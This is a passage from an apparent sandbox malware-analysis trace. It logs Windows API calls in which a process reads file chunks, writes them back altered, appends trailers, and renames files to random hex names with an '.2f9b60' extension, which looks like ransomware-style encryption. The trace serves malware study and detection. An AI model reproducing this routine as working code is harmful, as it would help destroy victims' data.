Seed=0x1f4ef970) returned 0x5a0b246b [0129.590] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.590] ReadFile (in: hFile=0xab4, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f4ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x1f4ef9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0129.593] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0129.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0129.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651c0 [0129.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202651c0) returned 1 [0129.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb1d40 [0129.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651c0 [0129.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265250 [0129.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265250) returned 1 [0129.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0129.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0129.594] WriteFile (in: hFile=0xab4, lpBuffer=0x41eb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f4ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x41eb1d40*, lpNumberOfBytesWritten=0x1f4ef9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb1d40) returned 1 [0161.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0161.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d80c0 [0161.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0161.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35f0 [0161.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a35f0) returned 1 [0161.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8680 [0161.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35f0 [0161.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3620 [0161.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3620) returned 1 [0161.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0161.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b77f040 [0161.126] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.126] WriteFile (hFile=0xab4, lpBuffer=0x1b77f040, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1f4efa90, lpOverlapped=0x0) [0199.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0199.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0199.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b80 [0199.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b80) returned 1 [0199.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20265b80 [0199.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b50 [0199.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0199.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265ac0) returned 1 [0199.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0199.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0199.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0199.512] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="4f") returned 2 [0199.512] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="78") returned 2 [0199.512] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="5f") returned 2 [0199.513] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="62") returned 2 [0199.513] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="1f") returned 2 [0199.513] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="6e") returned 2 [0199.513] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="b6") returned 2 [0199.513] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="48") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="21") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="04") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="03") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="f8") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="54") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="a2") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="3b") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="c7") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="38") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="e1") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="53") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="c4") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="bd") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="57") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="8b") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="94") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="f6") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="ed") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="09") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="7a") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="02") returned 2 [0199.513] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="c5") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="a1") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="cf") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="e3") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="0a") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="a9") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="12") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="61") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="bf") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="30") returned 2 [0199.514] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="0c") returned 2 [0199.514] RtlInitAnsiString (in: DestinationString=0x1f4efb08, SourceString="4f785f621f6eb648210403f854a23bc738e153c4bd578b94f6ed097a02c5a1cfe30aa91261bf300c" | out: DestinationString="4f785f621f6eb648210403f854a23bc738e153c4bd578b94f6ed097a02c5a1cfe30aa91261bf300c") [0199.514] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f4efad8, SourceString="4f785f621f6eb648210403f854a23bc738e153c4bd578b94f6ed097a02c5a1cfe30aa91261bf300c", AllocateDestinationString=1 | out: DestinationString="4f785f621f6eb648210403f854a23bc738e153c4bd578b94f6ed097a02c5a1cfe30aa91261bf300c") returned 0x0 [0199.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f2d50 [0199.515] wcscat (in: _Dest=0x20507870, _Source="4f785f621f6eb6482104" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104" [0199.515] wcscat (in: _Dest=0x20507870, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104.2f9b60" [0199.515] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104.2f9b60", NtPathName=0x1f4efab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\4f785f621f6eb6482104.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1073c0 Thread: id = 1685 os_tid = 0x1be8 [0130.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll")) returned 0x2020 [0130.315] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1794 [0130.317] GetFileSizeEx (in: hFile=0x1794, lpFileSize=0x1f78fc60 | out: lpFileSize=0x1f78fc60*=96608) returned 1 [0130.317] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x1795c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.317] ReadFile (in: hFile=0x1794, lpBuffer=0x1f78fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f78fc28, lpOverlapped=0x0 | out: lpBuffer=0x1f78fbe0*, lpNumberOfBytesRead=0x1f78fc28*=0x4, lpOverlapped=0x0) returned 1 [0130.319] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0130.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0130.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.320] NtQuerySystemTime (in: CurrentTime=0x1f78fb20 | out: CurrentTime=0x1f78fb20*=132462177355558000) returned 0x0 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x62e577e2 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x3f15d94f [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x6fb66fc3 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x70d8ba3b [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x342bb57c [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0xea882a1 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x7a5d0e0c [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x55b28cdd [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x3de7a593 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x2a924f20 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x5ee6c043 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x6ace429a [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x6e6bb443 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x3dbca49d [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x32fe9043 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x3f826ef7 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x524bb7c5 [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0xdb8cec [0130.320] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x75f0bdb8 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x39532b6 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x64056a5d [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x46354a70 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x6f52b379 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x1f4b79bb [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x1040c3da [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x7972182d [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x4cb17099 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x3512a8c3 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x5eb741c4 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x13b2fc04 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x4da46398 [0130.321] RtlRandomEx (in: Seed=0x1f78fb10 | out: Seed=0x1f78fb10) returned 0x6e86f93d [0130.330] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.330] ReadFile (in: hFile=0x1794, lpBuffer=0x41daa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f78fb80, lpOverlapped=0x0 | out: lpBuffer=0x41daa520*, lpNumberOfBytesRead=0x1f78fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0130.333] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0130.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8597c0) returned 1 [0130.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dae130 [0130.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0130.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0130.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8596d0) returned 1 [0130.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.334] WriteFile (hFile=0x1794, lpBuffer=0x41dae130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f78fb80, lpOverlapped=0x0) [0180.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dae130) returned 1 [0180.045] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.045] ReadFile (in: hFile=0x1794, lpBuffer=0x41daa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f78fb80, lpOverlapped=0x0 | out: lpBuffer=0x41daa520*, lpNumberOfBytesRead=0x1f78fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0182.098] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f120 [0182.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f120) returned 1 [0182.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019f0f0 [0182.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f120 [0182.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f150 [0182.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f150) returned 1 [0182.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.102] WriteFile (in: hFile=0x1794, lpBuffer=0x2019f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f78fb80, lpOverlapped=0x0 | out: lpBuffer=0x2019f0f0*, lpNumberOfBytesWritten=0x1f78fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019f0f0) returned 1 [0197.893] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x13d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.893] ReadFile (in: hFile=0x1794, lpBuffer=0x41daa520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f78fb80, lpOverlapped=0x0 | out: lpBuffer=0x41daa520*, lpNumberOfBytesRead=0x1f78fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0198.865] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x13d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b860 [0198.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b860) returned 1 [0198.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ff7ca0 [0198.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b860 [0198.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b890 [0198.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b890) returned 1 [0198.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.868] WriteFile (in: hFile=0x1794, lpBuffer=0x42ff7ca0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f78fb80, lpOverlapped=0x0 | out: lpBuffer=0x42ff7ca0*, lpNumberOfBytesWritten=0x1f78fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0213.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ff7ca0) returned 1 [0213.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f750 [0213.869] SetFilePointerEx (in: hFile=0x1794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.869] WriteFile (in: hFile=0x1794, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x1f78fc30, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x1f78fc30*=0x158, lpOverlapped=0x0) returned 1 [0216.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62230 [0216.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5770 [0216.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5770) returned 1 [0216.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f5770 [0216.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3be0 [0216.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ca0 [0216.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ca0) returned 1 [0216.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0216.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858a30 [0216.517] sprintf (in: _Dest=0x1b858a30, _Format="%c%c" | out: _Dest="a2") returned 2 [0216.517] sprintf (in: _Dest=0x1b858a32, _Format="%c%c" | out: _Dest="f2") returned 2 [0216.517] sprintf (in: _Dest=0x1b858a34, _Format="%c%c" | out: _Dest="61") returned 2 [0216.517] sprintf (in: _Dest=0x1b858a36, _Format="%c%c" | out: _Dest="ff") returned 2 [0216.517] sprintf (in: _Dest=0x1b858a38, _Format="%c%c" | out: _Dest="69") returned 2 [0216.517] sprintf (in: _Dest=0x1b858a3a, _Format="%c%c" | out: _Dest="c9") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a3c, _Format="%c%c" | out: _Dest="85") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a3e, _Format="%c%c" | out: _Dest="6b") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a40, _Format="%c%c" | out: _Dest="8d") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a42, _Format="%c%c" | out: _Dest="2b") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a44, _Format="%c%c" | out: _Dest="bd") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a46, _Format="%c%c" | out: _Dest="0a") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a48, _Format="%c%c" | out: _Dest="41") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a4a, _Format="%c%c" | out: _Dest="8c") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a4c, _Format="%c%c" | out: _Dest="68") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a4e, _Format="%c%c" | out: _Dest="58") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a50, _Format="%c%c" | out: _Dest="78") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a52, _Format="%c%c" | out: _Dest="74") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a54, _Format="%c%c" | out: _Dest="1a") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a56, _Format="%c%c" | out: _Dest="75") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a58, _Format="%c%c" | out: _Dest="63") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a5a, _Format="%c%c" | out: _Dest="1a") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a5c, _Format="%c%c" | out: _Dest="ff") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a5e, _Format="%c%c" | out: _Dest="97") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a60, _Format="%c%c" | out: _Dest="dc") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a62, _Format="%c%c" | out: _Dest="3e") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a64, _Format="%c%c" | out: _Dest="af") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a66, _Format="%c%c" | out: _Dest="a7") returned 2 [0216.518] sprintf (in: _Dest=0x1b858a68, _Format="%c%c" | out: _Dest="b6") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a6a, _Format="%c%c" | out: _Dest="09") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a6c, _Format="%c%c" | out: _Dest="8d") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a6e, _Format="%c%c" | out: _Dest="bb") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a70, _Format="%c%c" | out: _Dest="b6") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a72, _Format="%c%c" | out: _Dest="92") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a74, _Format="%c%c" | out: _Dest="01") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a76, _Format="%c%c" | out: _Dest="cd") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a78, _Format="%c%c" | out: _Dest="6c") returned 2 [0216.519] sprintf (in: _Dest=0x1b858a7a, _Format="%c%c" | out: _Dest="85") returned 2 [0216.519] RtlInitAnsiString (in: DestinationString=0x1f78fca8, SourceString="a2f261ff69c9856b8d2bbd0a418c685878741a75631aff97dc3eafa7b6098dbbb69201cd6c85" | out: DestinationString="a2f261ff69c9856b8d2bbd0a418c685878741a75631aff97dc3eafa7b6098dbbb69201cd6c85") [0216.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f78fc78, 